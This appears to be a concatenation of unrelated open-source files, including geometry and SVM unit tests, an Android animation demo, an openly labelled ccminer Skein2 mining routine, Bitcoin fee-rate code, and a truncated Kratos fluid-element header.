summary_projector.projector.add() self.set_projector(pro=projector, tag=tag, step=step, value=value, label=label) if sample_name is not None and sample_type is not None: self.set_sample( sample=summary_projector.sample, name=sample_name, x=x, sample_type=sample_type, ) self.write_projector(self.embedding_filename_, summary_projector) def exception_projector( self, value=None, tag=None, step=None, sample_name=None, sample_type=None, x=None, ): if tag is None: tag = "exception_projector" summary_projector = projector_pb2.SummaryProjector() summary_projector.metadata.type = projector_pb2.MetaData.ProjectorType.EXCEPTION projector = summary_projector.projector.add() self.set_projector(pro=projector, tag=tag, step=step, value=value) if sample_name is not None and sample_type is not None: self.set_sample( sample=summary_projector.sample, name=sample_name, x=x, sample_type=sample_type, ) self.write_projector(self.exception_filename_, summary_projector)
2,378
7,524
<reponame>chanmaoooo/vscode<gh_stars>1000+ { "displayName": "Objective-C Language Basics", "description": "Provides syntax highlighting and bracket matching in Objective-C files." }
56
854
<filename>solutions/LeetCode/Java/338.java<gh_stars>100-1000 __________________________________________________________________________________________________ sample 1 ms submission class Solution { public int[] countBits(int num) { int[] bits = new int[num+1]; bits[0] = 0; if(num < 1) { return bits; } bits[1] = 1; for(int i = 2; i <= num; ++i) { bits[i] = (i & 0x1) + bits[i >>> 1]; } return bits; } } __________________________________________________________________________________________________ sample 35608 kb submission class Solution { public int[] countBits(int num) { int[] res = new int[num+1]; for(int i = 0; i <= num; i++){ int cnt = 0; String str = Integer.toBinaryString(i); for(int j = 0; j < str.length(); j++){ char c = str.charAt(j); char one = '1'; if(c == one) cnt++; } res[i] = cnt; } return res; } } __________________________________________________________________________________________________
554
3,281
<gh_stars>1000+ package tk.zielony.carbonsamples.demo; import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.content.Context; import android.os.Bundle; import android.os.Vibrator; import android.view.SoundEffectConstants; import android.view.View; import com.annimon.stream.Stream; import java.util.List; import carbon.Carbon; import carbon.animation.AnimatedView; import carbon.view.RevealView; import carbon.widget.Button; import carbon.widget.FrameLayout; import carbon.widget.ImageView; import carbon.widget.LinearLayout; import carbon.widget.TextView; import tk.zielony.carbonsamples.SampleAnnotation; import tk.zielony.carbonsamples.R; import tk.zielony.carbonsamples.ThemedActivity; @SampleAnnotation( layoutId = R.layout.activity_powermenu, titleId = R.string.powerMenuActivity_title, iconId = R.drawable.ic_power_settings_new_black_24dp ) public class PowerMenuActivity extends ThemedActivity { boolean vibration = false, volume = false, airplaneMode = false; Button button; LinearLayout powerMenu, screenPowerMenu; FrameLayout transition, screenPowerOff, screenReboot, screenAirplaneMode; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); initToolbar(); button = findViewById(R.id.button); powerMenu = findViewById(R.id.powerMenu); transition = findViewById(R.id.transition); screenPowerMenu = findViewById(R.id.screen_powerMenu); screenPowerOff = findViewById(R.id.screen_powerOff); screenReboot = findViewById(R.id.screen_reboot); screenAirplaneMode = findViewById(R.id.screen_airplaneMode); button.setOnClickListener(view -> { if (powerMenu.getVisibility() == View.VISIBLE) return; for (int i = 0; i < transition.getChildCount(); i++) transition.getChildAt(i).setVisibility(i == 0 ? View.VISIBLE : View.GONE); final List<View> viewsWithTag = screenPowerMenu.findViewsWithTag("animate"); Stream.of(viewsWithTag).forEach(v -> v.setVisibility(View.INVISIBLE)); Animator animator = powerMenu.animateVisibility(View.VISIBLE); animator.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { Stream.of(viewsWithTag).forEach(v -> { v.getHandler().postDelayed(() -> { if (v instanceof AnimatedView) { ((AnimatedView) v).animateVisibility(View.VISIBLE); } else { v.setVisibility(View.VISIBLE); } }, viewsWithTag.indexOf(v) * 40); }); } }); }); findViewById(R.id.powerOff).setOnClickListener(view -> { final List<View> viewsWithTag = screenPowerOff.findViewsWithTag("animate"); Stream.of(viewsWithTag).forEach(v -> v.setVisibility(View.INVISIBLE)); screenPowerOff.setVisibility(View.VISIBLE); Animator circularReveal = screenPowerOff.createCircularReveal(view.findViewById(R.id.powerOffIcon), 0, RevealView.MAX_RADIUS); circularReveal.setDuration(400); circularReveal.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { Stream.of(viewsWithTag).forEach(v -> { view.getHandler().postDelayed(() -> { if (v instanceof AnimatedView) { ((AnimatedView) v).animateVisibility(View.VISIBLE); } else { v.setVisibility(View.VISIBLE); } }, viewsWithTag.indexOf(v) * 20); }); } }); circularReveal.start(); view.getHandler().postDelayed(() -> powerMenu.animateVisibility(View.INVISIBLE), 3000); }); findViewById(R.id.reboot).setOnClickListener(view -> { final List<View> viewsWithTag = screenReboot.findViewsWithTag("animate"); Stream.of(viewsWithTag).forEach(v -> v.setVisibility(View.INVISIBLE)); screenReboot.setVisibility(View.VISIBLE); Animator circularReveal = screenReboot.createCircularReveal(view.findViewById(R.id.rebootIcon), 0, RevealView.MAX_RADIUS); circularReveal.setDuration(400); circularReveal.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { Stream.of(viewsWithTag).forEach(v -> { view.getHandler().postDelayed(() -> { if (v instanceof AnimatedView) { ((AnimatedView) v).animateVisibility(View.VISIBLE); } else { v.setVisibility(View.VISIBLE); } }, viewsWithTag.indexOf(v) * 20); }); } }); circularReveal.start(); view.getHandler().postDelayed(() -> powerMenu.animateVisibility(View.INVISIBLE), 3000); }); findViewById(R.id.airplaneMode).setOnClickListener(view -> { final List<View> viewsWithTag = screenAirplaneMode.findViewsWithTag("animate"); Stream.of(viewsWithTag).forEach(v -> v.setVisibility(View.INVISIBLE)); screenAirplaneMode.setVisibility(View.VISIBLE); Animator circularReveal = screenAirplaneMode.createCircularReveal(view.findViewById(R.id.airplaneModeIcon), 0, RevealView.MAX_RADIUS); circularReveal.setDuration(400); circularReveal.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { Stream.of(viewsWithTag).forEach(v -> { view.getHandler().postDelayed(() -> { if (v instanceof AnimatedView) { ((AnimatedView) v).animateVisibility(View.VISIBLE); } else { v.setVisibility(View.VISIBLE); } }, viewsWithTag.indexOf(v) * 20); }); } }); circularReveal.start(); view.getHandler().postDelayed(() -> { Animator circularReveal2 = screenAirplaneMode.createCircularReveal(view.findViewById(R.id.airplaneModeIcon), RevealView.MAX_RADIUS, 0); circularReveal2.setDuration(400); circularReveal2.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { screenAirplaneMode.setVisibility(View.INVISIBLE); } }); circularReveal2.start(); airplaneMode = !airplaneMode; TextView amStatus = findViewById(R.id.airplaneModeStatus); amStatus.setText("Airplane PopupMode is " + (airplaneMode ? "on" : "off")); ImageView airplaneModeIcon = view.findViewById(R.id.airplaneModeIcon); airplaneModeIcon.setImageResource(airplaneMode ? R.raw.ic_airplanemode_on_24px : R.raw.ic_airplanemode_off_24px); }, 3000); }); findViewById(R.id.vibration).setOnClickListener(view -> { if (vibration) { vibration = false; view.setBackgroundColor(Carbon.getThemeColor(PowerMenuActivity.this, android.R.attr.colorBackground)); ((ImageView) view).setTint(Carbon.getThemeColor(PowerMenuActivity.this, R.attr.carbon_iconColor)); } else { vibration = true; view.setBackgroundColor(getResources().getColor(R.color.carbon_black_54o)); ((ImageView) view).setTint(Carbon.getThemeColor(PowerMenuActivity.this, R.attr.carbon_iconColorInverse)); Vibrator vibrator = (Vibrator) getSystemService(Context.VIBRATOR_SERVICE); vibrator.vibrate(500); } powerMenu.postInvalidate(); }); findViewById(R.id.volume).setOnClickListener(view -> { if (volume) { volume = false; view.setBackgroundColor(Carbon.getThemeColor(PowerMenuActivity.this, android.R.attr.colorBackground)); ((ImageView) view).setTint(Carbon.getThemeColor(PowerMenuActivity.this, R.attr.carbon_iconColor)); } else { volume = true; view.setBackgroundColor(getResources().getColor(R.color.carbon_black_54o)); ((ImageView) view).setTint(Carbon.getThemeColor(PowerMenuActivity.this, R.attr.carbon_iconColorInverse)); view.playSoundEffect(SoundEffectConstants.CLICK); } powerMenu.postInvalidate(); }); } @Override public void onBackPressed() { if (powerMenu.isVisible()) { powerMenu.animateVisibility(View.INVISIBLE); return; } super.onBackPressed(); } }
4,649
678
<filename>iOSOpenDev/frameworks/IMCore.framework/Frameworks/IMDAppleServices.framework/Headers/IMDAppleServices.h /** * This header is generated by class-dump-z 0.2b. * * Source: /System/Library/PrivateFrameworks/IMCore.framework/Frameworks/IMDAppleServices.framework/IMDAppleServices */ #import <IMDAppleServices/IMDAppleServices-Structs.h> #import <IMDAppleServices/IMDAppleIDRegistrationCenter.h> #import <IMDAppleServices/IMDAppleSMSRegistrationCenterListener.h> #import <IMDAppleServices/NSCopying.h> #import <IMDAppleServices/IMDAppleEmailInterface.h> #import <IMDAppleServices/IMDAppleSMSRegistrationCenter.h> #import <IMDAppleServices/IMDAppleIDSRegistrationCenterListener.h> #import <IMDAppleServices/IMDAppleServiceSession.h> #import <IMDAppleServices/IMDAppleEmailInterfaceListener.h> #import <IMDAppleServices/IMDAppleRegistrationKeychainManager.h> #import <IMDAppleServices/IMDAppleIDSRegistrationCenter.h> #import <IMDAppleServices/IMSystemMonitorListener.h> #import <IMDAppleServices/IMDAppleIDRegistrationCenterListener.h> #import <IMDAppleServices/IMDAppleRegistrationController.h> #import <IMDAppleServices/IMUserNotificationListener.h> #import <IMDAppleServices/MSSearchDelegate.h> #import <IMDAppleServices/IMDAppleHeartbeatCenter.h> #import <IMDAppleServices/IMDAppleRegistrationKeyManager.h> #import <IMDAppleServices/IMDAppleRegistration.h>
426
326
<filename>test/algorithms/equals/equals_on_spheroid.cpp // Boost.Geometry (aka GGL, Generic Geometry Library) // Unit test // Copyright (c) 2015, Oracle and/or its affiliates. // Licensed under the Boost Software License version 1.0. // http://www.boost.org/users/license.html // Contributed and/or modified by <NAME>, on behalf of Oracle #ifndef BOOST_TEST_MODULE #define BOOST_TEST_MODULE test_equals_on_spheroid #endif #include <iostream> #include <boost/test/included/unit_test.hpp> #include "test_equals.hpp" #include <boost/geometry/geometries/geometries.hpp> #include <boost/geometry/core/cs.hpp> namespace bgm = bg::model; template <typename P1, typename P2 = P1> struct test_point_point { static inline void apply(std::string const& header) { std::string const str = header + "-"; test_geometry<P1, P2>(str + "pp_01", "POINT(0 0)", "POINT(0 0)", true); test_geometry<P1, P2>(str + "pp_02", "POINT(0 0)", "POINT(10 0)", false); // points whose longitudes differ by 360 degrees test_geometry<P1, P2>(str + "pp_03", "POINT(0 0)", "POINT(360 0)", true); test_geometry<P1, P2>(str + "pp_04", "POINT(10 0)", "POINT(370 0)", true); test_geometry<P1, P2>(str + "pp_05", "POINT(10 0)", "POINT(-350 0)", true); test_geometry<P1, P2>(str + "pp_06", "POINT(180 10)", "POINT(-180 10)", true); test_geometry<P1, P2>(str + "pp_06a", "POINT(540 10)", "POINT(-540 10)", true); #ifdef BOOST_GEOMETRY_NORMALIZE_LATITUDE test_geometry<P1, P2>(str + "pp_06b", "POINT(540 370)", "POINT(-540 -350)", true); test_geometry<P1, P2>(str + "pp_06c", "POINT(1260 370)", "POINT(-1260 -350)", true); test_geometry<P1, P2>(str + "pp_06d", "POINT(2340 370)", "POINT(-2340 -350)", true); #endif test_geometry<P1, P2>(str + "pp_06e", "POINT(-180 10)", "POINT(-540 10)", true); test_geometry<P1, P2>(str + "pp_06f", "POINT(180 10)", "POINT(-540 10)", true); // north & south pole test_geometry<P1, P2>(str + "pp_07", "POINT(0 90)", "POINT(0 90)", true); #ifdef BOOST_GEOMETRY_NORMALIZE_LATITUDE test_geometry<P1, P2>(str + "pp_07a", "POINT(0 450)", "POINT(10 -270)", true); test_geometry<P1, P2>(str + "pp_07b", "POINT(0 270)", "POINT(10 90)", false); test_geometry<P1, P2>(str + "pp_07c", "POINT(0 -450)", "POINT(10 90)", false); #endif test_geometry<P1, P2>(str + "pp_08", "POINT(0 90)", "POINT(10 90)", true); test_geometry<P1, P2>(str + "pp_09", "POINT(0 90)", "POINT(0 -90)", false); test_geometry<P1, P2>(str + "pp_10", "POINT(0 -90)", "POINT(0 -90)", true); test_geometry<P1, P2>(str + "pp_11", "POINT(0 -90)", "POINT(10 -90)", true); test_geometry<P1, P2>(str + "pp_11a", "POINT(0 -90)", "POINT(10 90)", false); test_geometry<P1, P2>(str + "pp_12", "POINT(0 -90)", "POINT(0 -85)", false); test_geometry<P1, P2>(str + "pp_13", "POINT(0 90)", "POINT(0 85)", false); test_geometry<P1, P2>(str + "pp_14", "POINT(0 90)", "POINT(10 85)", false); // symmetric wrt prime meridian test_geometry<P1, P2>(str + "pp_15", "POINT(-10 45)", "POINT(10 45)", false); test_geometry<P1, P2>(str + "pp_16", "POINT(-170 45)", "POINT(170 45)", false); // other points test_geometry<P1, P2>(str + "pp_17", "POINT(-10 45)", "POINT(10 -45)", false); test_geometry<P1, P2>(str + "pp_18", "POINT(-10 -45)", "POINT(10 45)", false); test_geometry<P1, P2>(str + "pp_19", "POINT(10 -135)", "POINT(10 45)", false); #ifdef BOOST_GEOMETRY_NORMALIZE_LATITUDE test_geometry<P1, P2>(str + "pp_20", "POINT(190 135)", "POINT(10 45)", true); test_geometry<P1, P2>(str + "pp_21", "POINT(190 150)", "POINT(10 30)", true); test_geometry<P1, P2>(str + "pp_21a", "POINT(-170 150)", "POINT(10 30)", true); test_geometry<P1, P2>(str + "pp_22", "POINT(190 -135)", "POINT(10 -45)", true); test_geometry<P1, P2>(str + "pp_23", "POINT(190 -150)", "POINT(10 -30)", true); test_geometry<P1, P2>(str + "pp_23a", "POINT(-170 -150)", "POINT(10 -30)", true); #endif } }; template <typename P1, typename P2 = P1> struct test_point_point_with_height { static inline void apply(std::string const& header) { std::string const str = header + "-"; test_geometry<P1, P2>(str + "pp_01", "POINT(0 0 10)", "POINT(0 0 20)", true); test_geometry<P1, P2>(str + "pp_02", "POINT(0 0 10)", "POINT(10 0 10)", false); // points whose longitudes differ by 360 degrees test_geometry<P1, P2>(str + "pp_03", "POINT(0 0 10)", "POINT(360 0 10)", true); // points whose longitudes differ by 360 degrees test_geometry<P1, P2>(str + "pp_04", "POINT(10 0 10)", "POINT(370 0 10)", true); test_geometry<P1, P2>(str + "pp_05", "POINT(10 0 10)", "POINT(10 0 370)", false); } }; template <typename P> void test_segment_segment(std::string const& header) { typedef bgm::segment<P> seg; std::string const str = header + "-"; test_geometry<seg, seg>(str + "ss_01", "SEGMENT(10 0,180 0)", "SEGMENT(10 0,-180 0)", true); test_geometry<seg, seg>(str + "ss_02", "SEGMENT(0 90,180 0)", "SEGMENT(10 90,-180 0)", true); test_geometry<seg, seg>(str + "ss_03", "SEGMENT(0 90,0 -90)", "SEGMENT(10 90,20 -90)", true); test_geometry<seg, seg>(str + "ss_04", "SEGMENT(10 80,10 -80)", "SEGMENT(10 80,20 -80)", false); test_geometry<seg, seg>(str + "ss_05", "SEGMENT(170 10,-170 10)", "SEGMENT(170 10,350 10)", false); } BOOST_AUTO_TEST_CASE( equals_point_point_se ) { typedef bg::cs::spherical_equatorial<bg::degree> cs_type; test_point_point<bgm::point<int, 2, cs_type> >::apply("se"); test_point_point<bgm::point<double, 2, cs_type> >::apply("se"); test_point_point<bgm::point<long double, 2, cs_type> >::apply("se"); // mixed point types test_point_point < bgm::point<double, 2, cs_type>, bgm::point<int, 2, cs_type> >::apply("se"); test_point_point < bgm::point<double, 2, cs_type>, bgm::point<long double, 2, cs_type> >::apply("se"); } BOOST_AUTO_TEST_CASE( equals_point_point_with_height_se ) { typedef bg::cs::spherical_equatorial<bg::degree> cs_type; test_point_point<bgm::point<int, 3, cs_type> >::apply("seh"); test_point_point<bgm::point<double, 3, cs_type> >::apply("seh"); test_point_point<bgm::point<long double, 3, cs_type> >::apply("seh"); // mixed point types test_point_point < bgm::point<double, 3, cs_type>, bgm::point<int, 3, cs_type> >::apply("seh"); test_point_point < bgm::point<double, 3, cs_type>, bgm::point<long double, 3, cs_type> >::apply("seh"); } BOOST_AUTO_TEST_CASE( equals_point_point_geo ) { typedef bg::cs::geographic<bg::degree> cs_type; test_point_point<bgm::point<int, 2, cs_type> >::apply("geo"); test_point_point<bgm::point<double, 2, cs_type> >::apply("geo"); test_point_point<bgm::point<long double, 2, cs_type> >::apply("geo"); // mixed point types test_point_point < bgm::point<double, 2, cs_type>, bgm::point<int, 2, cs_type> >::apply("se"); test_point_point < bgm::point<double, 2, cs_type>, bgm::point<long double, 2, cs_type> >::apply("se"); } BOOST_AUTO_TEST_CASE( equals_segment_segment_se ) { typedef bg::cs::spherical_equatorial<bg::degree> cs_type; test_segment_segment<bgm::point<int, 2, cs_type> >("se"); test_segment_segment<bgm::point<double, 2, cs_type> >("se"); test_segment_segment<bgm::point<long double, 2, cs_type> >("se"); } BOOST_AUTO_TEST_CASE( equals_segment_segment_geo ) { typedef bg::cs::geographic<bg::degree> cs_type; test_segment_segment<bgm::point<int, 2, cs_type> >("geo"); test_segment_segment<bgm::point<double, 2, cs_type> >("geo"); test_segment_segment<bgm::point<long double, 2, cs_type> >("geo"); }
4,610
1,822
# -*- coding: utf-8 -*- """tests for the 'pwd' command.""" import os from stash.tests.stashtest import StashTestCase class PwdTests(StashTestCase): """tests for the 'pwd' command.""" cwd = os.path.expanduser("~") def test_help(self): """test 'pwd --help'.""" output = self.run_command("pwd --help") self.assertIn("pwd", output) self.assertIn("-h", output) self.assertIn("--help", output) self.assertIn("-b", output) self.assertIn("--basename", output) self.assertIn("-f", output) self.assertIn("--fullname", output) def test_pwd_collapseuser(self): """tests 'pwd'.""" output = self.run_command("pwd").replace("\n", "").replace("/", "") self.assertEqual(output, "~") def test_pwd_fullname(self): """tests 'pwd --fullname'.""" output = self.run_command("pwd --fullname").replace("\n", "") self.assertEqual(output, os.path.abspath(os.getcwd())) def test_pwd_basename(self): """tests 'pwd --basename'.""" output = self.run_command("pwd --basename").replace("\n", "") self.assertEqual(output, os.path.basename(os.getcwd()))
533
1,902
<reponame>louardmohamed/ccminer /** * SKEIN512 80 + SKEIN512 64 (Woodcoin) * by <EMAIL> - 2015 */ #include <string.h> #include "sph/sph_skein.h" #include "miner.h" #include "cuda_helper.h" static uint32_t *d_hash[MAX_GPUS]; extern void skein512_cpu_setBlock_80(void *pdata); extern void skein512_cpu_hash_80(int thr_id, uint32_t threads, uint32_t startNounce, uint32_t *d_hash, int swap); extern void quark_skein512_cpu_init(int thr_id, uint32_t threads); extern void quark_skein512_cpu_hash_64(int thr_id, uint32_t threads, uint32_t startNounce, uint32_t *d_nonceVector, uint32_t *d_hash, int order); void skein2hash(void *output, const void *input) { uint32_t _ALIGN(64) hash[16]; sph_skein512_context ctx_skein; sph_skein512_init(&ctx_skein); sph_skein512(&ctx_skein, input, 80); sph_skein512_close(&ctx_skein, hash); sph_skein512_init(&ctx_skein); sph_skein512(&ctx_skein, hash, 64); sph_skein512_close(&ctx_skein, hash); memcpy(output, (void*) hash, 32); } static bool init[MAX_GPUS] = { 0 }; int scanhash_skein2(int thr_id, struct work* work, uint32_t max_nonce, unsigned long *hashes_done) { int dev_id = device_map[thr_id]; uint32_t *pdata = work->data; uint32_t *ptarget = work->target; const uint32_t first_nonce = pdata[19]; uint32_t throughput = cuda_default_throughput(thr_id, 1U << 19); // 256*256*8 if (init[thr_id]) throughput = min(throughput, max_nonce - first_nonce); if (opt_benchmark) ((uint32_t*)ptarget)[7] = 0; if (!init[thr_id]) { cudaSetDevice(dev_id); if (opt_cudaschedule == -1 && gpu_threads == 1) { cudaDeviceReset(); // reduce cpu usage cudaSetDeviceFlags(cudaDeviceScheduleBlockingSync); CUDA_LOG_ERROR(); } gpulog(LOG_INFO, thr_id, "Intensity set to %g, %u cuda threads", throughput2intensity(throughput), throughput); cudaMalloc(&d_hash[thr_id], (size_t) 64 * throughput); quark_skein512_cpu_init(thr_id, throughput); cuda_check_cpu_init(thr_id, throughput); CUDA_SAFE_CALL(cudaDeviceSynchronize()); init[thr_id] = true; } uint32_t endiandata[20]; for (int k=0; k < 19; k++) be32enc(&endiandata[k], pdata[k]); skein512_cpu_setBlock_80((void*)endiandata); cuda_check_cpu_setTarget(ptarget); do { int order = 0; // Hash with CUDA skein512_cpu_hash_80(thr_id, throughput, pdata[19], d_hash[thr_id], 1); quark_skein512_cpu_hash_64(thr_id, throughput, pdata[19], NULL, d_hash[thr_id], order++); *hashes_done = pdata[19] - first_nonce + throughput; work->nonces[0] = cuda_check_hash(thr_id, throughput, pdata[19], d_hash[thr_id]); if (work->nonces[0] != UINT32_MAX) { uint32_t _ALIGN(64) vhash[8]; endiandata[19] = swab32(work->nonces[0]); skein2hash(vhash, endiandata); if (vhash[7] <= ptarget[7] && fulltest(vhash, ptarget)) { work->valid_nonces = 1; work->nonces[1] = cuda_check_hash_suppl(thr_id, throughput, pdata[19], d_hash[thr_id], 1); work_set_target_ratio(work, vhash); if (work->nonces[1] != 0) { endiandata[19] = swab32(work->nonces[1]); skein2hash(vhash, endiandata); work->valid_nonces++; bn_set_target_ratio(work, vhash, 1); gpulog(LOG_DEBUG, thr_id, "found second nonce %08x!", endiandata[19]); pdata[19] = max(work->nonces[0], work->nonces[1]) + 1; } else { pdata[19] = work->nonces[0] + 1; // cursor for next scan } return work->valid_nonces; } else if (vhash[7] > ptarget[7]) { gpu_increment_reject(thr_id); if (!opt_quiet) gpulog(LOG_WARNING, thr_id, "result for %08x does not validate on CPU!", work->nonces[0]); pdata[19] = work->nonces[0] + 1; continue; } } if ((uint64_t) throughput + pdata[19] >= max_nonce) { pdata[19] = max_nonce; break; } pdata[19] += throughput; } while (!work_restart[thr_id].restart); *hashes_done = pdata[19] - first_nonce; return 0; } // cleanup void free_skein2(int thr_id) { if (!init[thr_id]) return; cudaThreadSynchronize(); cudaFree(d_hash[thr_id]); cuda_check_cpu_free(thr_id); init[thr_id] = false; cudaDeviceSynchronize(); }
1,872
1,151
import numpy as np from tslearn.metrics import cdist_gak from tslearn.svm import TimeSeriesSVC, TimeSeriesSVR __author__ = '<NAME> <EMAIL>[<EMAIL>' def test_gamma_value_svm(): n, sz, d = 5, 10, 3 rng = np.random.RandomState(0) time_series = rng.randn(n, sz, d) labels = rng.randint(low=0, high=2, size=n) gamma = 10. for ModelClass in [TimeSeriesSVC, TimeSeriesSVR]: gak_model = ModelClass(kernel="gak", gamma=gamma) sklearn_X, _ = gak_model._preprocess_sklearn(time_series, labels, fit_time=True) cdist_mat = cdist_gak(time_series, sigma=np.sqrt(gamma / 2.)) np.testing.assert_allclose(sklearn_X, cdist_mat) def test_deprecated_still_work(): n, sz, d = 5, 10, 3 rng = np.random.RandomState(0) X = rng.randn(n, sz, d) y = rng.randint(low=0, high=2, size=n) for ModelClass in [TimeSeriesSVC, TimeSeriesSVR]: clf = ModelClass().fit(X, y) np.testing.assert_equal(clf.support_vectors_time_series_().shape[1:], X.shape[1:])
608
1,266
// Copyright (c) 2009-2010 <NAME> // Copyright (c) 2009-2016 The Bitcoin Core developers // Copyright (c) 2017-2019 The Bitcoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <feerate.h> #include <network.h> #include <tinyformat.h> CFeeRate::CFeeRate(const Amount nFeePaid, size_t nBytes_) { assert(nBytes_ <= uint64_t(std::numeric_limits<int64_t>::max())); int64_t nSize = int64_t(nBytes_); if (nSize > 0) { nSatoshisPerK = 1000 * nFeePaid / nSize; } else { nSatoshisPerK = Amount::zero(); } } template <bool ceil> static Amount GetFee(size_t nBytes_, Amount nSatoshisPerK) { assert(nBytes_ <= uint64_t(std::numeric_limits<int64_t>::max())); int64_t nSize = int64_t(nBytes_); // Ensure fee is rounded up when truncated if ceil is true. Amount nFee = Amount::zero(); if (ceil) { nFee = Amount(nSize * nSatoshisPerK % 1000 > Amount::zero() ? nSize * nSatoshisPerK / 1000 + SATOSHI : nSize * nSatoshisPerK / 1000); } else { nFee = nSize * nSatoshisPerK / 1000; } if (nFee == Amount::zero() && nSize != 0) { if (nSatoshisPerK > Amount::zero()) { nFee = SATOSHI; } if (nSatoshisPerK < Amount::zero()) { nFee = -SATOSHI; } } return nFee; } Amount CFeeRate::GetFee(size_t nBytes) const { return ::GetFee<false>(nBytes, nSatoshisPerK); } Amount CFeeRate::GetFeeCeiling(size_t nBytes) const { return ::GetFee<true>(nBytes, nSatoshisPerK); } std::string CFeeRate::ToString() const { const auto currency = Currency::get(); return strprintf("%d.%0*d %s/kB", nSatoshisPerK / currency.baseunit, currency.decimals, (nSatoshisPerK % currency.baseunit) / currency.subunit, currency.ticker); }
905
32,544
<gh_stars>1000+ package com.baeldung.overrideproperties; import org.springframework.context.ApplicationContextInitializer; import org.springframework.context.ConfigurableApplicationContext; import org.springframework.test.context.support.TestPropertySourceUtils; public class PropertyOverrideContextInitializer implements ApplicationContextInitializer<ConfigurableApplicationContext> { static final String PROPERTY_FIRST_VALUE = "contextClass"; @Override public void initialize(ConfigurableApplicationContext configurableApplicationContext) { TestPropertySourceUtils.addInlinedPropertiesToEnvironment(configurableApplicationContext, "example.firstProperty=" + PROPERTY_FIRST_VALUE); TestPropertySourceUtils.addPropertiesFilesToEnvironment(configurableApplicationContext, "classpath:context-override-application.properties"); } }
223
778
<gh_stars>100-1000 // | / | // ' / __| _` | __| _ \ __| // . \ | ( | | ( |\__ ` // _|\_\_| \__,_|\__|\___/ ____/ // Multi-Physics // // License: BSD License // Kratos default license: kratos/license.txt // // Main authors: <NAME> // #ifndef KRATOS_QS_VMS_H #define KRATOS_QS_VMS_H #include "includes/define.h" #include "includes/element.h" #include "includes/serializer.h" #include "geometries/geometry.h" #include "includes/cfd_variables.h" #include "custom_elements/fluid_element.h" #include "fluid_dynamics_application_variables.h" namespace Kratos { ///@addtogroup FluidDynamicsApplication ///@{ ///@name Kratos Globals ///@{ ///@} ///@name Type Definitions ///@{ ///@} ///@name Enum's ///@{ ///@} ///@name Functions ///@{ ///@} ///@name Kratos Classes ///@{ template< class TElementData > class QSVMS : public FluidElement<TElementData> { public: ///@name Type Definitions ///@{ /// Pointer definition of QSVMS KRATOS_CLASS_INTRUSIVE_POINTER_DEFINITION(QSVMS); /// Node type (default is: Node<3>) typedef Node<3> NodeType; /// Geometry type (using with given NodeType) typedef Geometry<NodeType> GeometryType; /// Definition of nodes container type, redefined from GeometryType typedef Geometry<NodeType>::PointsArrayType NodesArrayType; /// Vector type for local contributions to the linear system typedef Vector VectorType; /// Matrix type for local contributions to the linear system typedef Matrix MatrixType; typedef std::size_t IndexType; typedef std::size_t SizeType; typedef std::vector<std::size_t> EquationIdVectorType; typedef std::vector< Dof<double>::Pointer > DofsVectorType; typedef PointerVectorSet<Dof<double>, IndexedObject> DofsArrayType; /// Type for shape function values container typedef Kratos::Vector ShapeFunctionsType; /// Type for a matrix containing the shape function gradients typedef Kratos::Matrix ShapeFunctionDerivativesType; /// Type for an array of shape function gradient matrices typedef GeometryType::ShapeFunctionsGradientsType ShapeFunctionDerivativesArrayType; constexpr static unsigned int Dim = FluidElement<TElementData>::Dim; constexpr static unsigned int NumNodes = FluidElement<TElementData>::NumNodes; constexpr static unsigned int BlockSize = FluidElement<TElementData>::BlockSize; constexpr static unsigned int LocalSize = FluidElement<TElementData>::LocalSize; constexpr static unsigned int StrainSize = FluidElement<TElementData>::StrainSize; ///@} ///@name Life Cycle ///@{ //Constructors. /// Default constuctor. /** * @param NewId Index number of the new element (optional) */ QSVMS(IndexType NewId = 0); /// Constructor using an array of nodes. /** * @param NewId Index of the new element * @param ThisNodes An array containing the nodes of the new element */ QSVMS(IndexType NewId, const NodesArrayType& ThisNodes); /// Constructor using a geometry object. /** * @param NewId Index of the new element * @param pGeometry Pointer to a geometry object */ QSVMS(IndexType NewId, GeometryType::Pointer pGeometry); /// Constuctor using geometry and properties. /** * @param NewId Index of the new element * @param pGeometry Pointer to a geometry object * @param pProperties Pointer to the element's properties */ QSVMS(IndexType NewId, GeometryType::Pointer pGeometry, Properties::Pointer pProperties); /// Destructor. ~QSVMS() override; ///@} ///@name Operators ///@{ ///@} ///@name Operations ///@{ /// Create a new element of this type /** * Returns a pointer to a new QSVMS element, created using given input * @param NewId the ID of the new element * @param ThisNodes the nodes of the new element * @param pProperties the properties assigned to the new element * @return a Pointer to the new element */ Element::Pointer Create(IndexType NewId, NodesArrayType const& ThisNodes, Properties::Pointer pProperties) const override; /// Create a new element of this type using given geometry /** * Returns a pointer to a new FluidElement element, created using given input * @param NewId the ID of the new element * @param pGeom a pointer to the geomerty to be used to create the element * @param pProperties the properties assigned to the new element * @return a Pointer to the new element */ Element::Pointer Create(IndexType NewId, GeometryType::Pointer pGeom, Properties::Pointer pProperties) const override; void Calculate( const Variable<double>& rVariable, double& rOutput, const ProcessInfo& rCurrentProcessInfo) override; void Calculate( const Variable<array_1d<double, 3 > >& rVariable, array_1d<double, 3 > & rOutput, const ProcessInfo& rCurrentProcessInfo) override; void Calculate( const Variable<Vector >& rVariable, Vector& Output, const ProcessInfo& rCurrentProcessInfo) override; void Calculate( const Variable<Matrix >& rVariable, Matrix& Output, const ProcessInfo& rCurrentProcessInfo) override; ///@} ///@name Access ///@{ void CalculateOnIntegrationPoints( Variable<array_1d<double, 3>> const& rVariable, std::vector<array_1d<double, 3>>& rValues, ProcessInfo const& rCurrentProcessInfo) override; void CalculateOnIntegrationPoints( Variable<double> const& rVariable, std::vector<double>& rValues, ProcessInfo const& rCurrentProcessInfo) override; void CalculateOnIntegrationPoints( Variable<array_1d<double, 6>> const& rVariable, std::vector<array_1d<double, 6>>& rValues, ProcessInfo const& rCurrentProcessInfo) override; void CalculateOnIntegrationPoints( Variable<Vector> const& rVariable, std::vector<Vector>& rValues, ProcessInfo const& rCurrentProcessInfo) override; void CalculateOnIntegrationPoints( Variable<Matrix> const& rVariable, std::vector<Matrix>& rValues, ProcessInfo const& 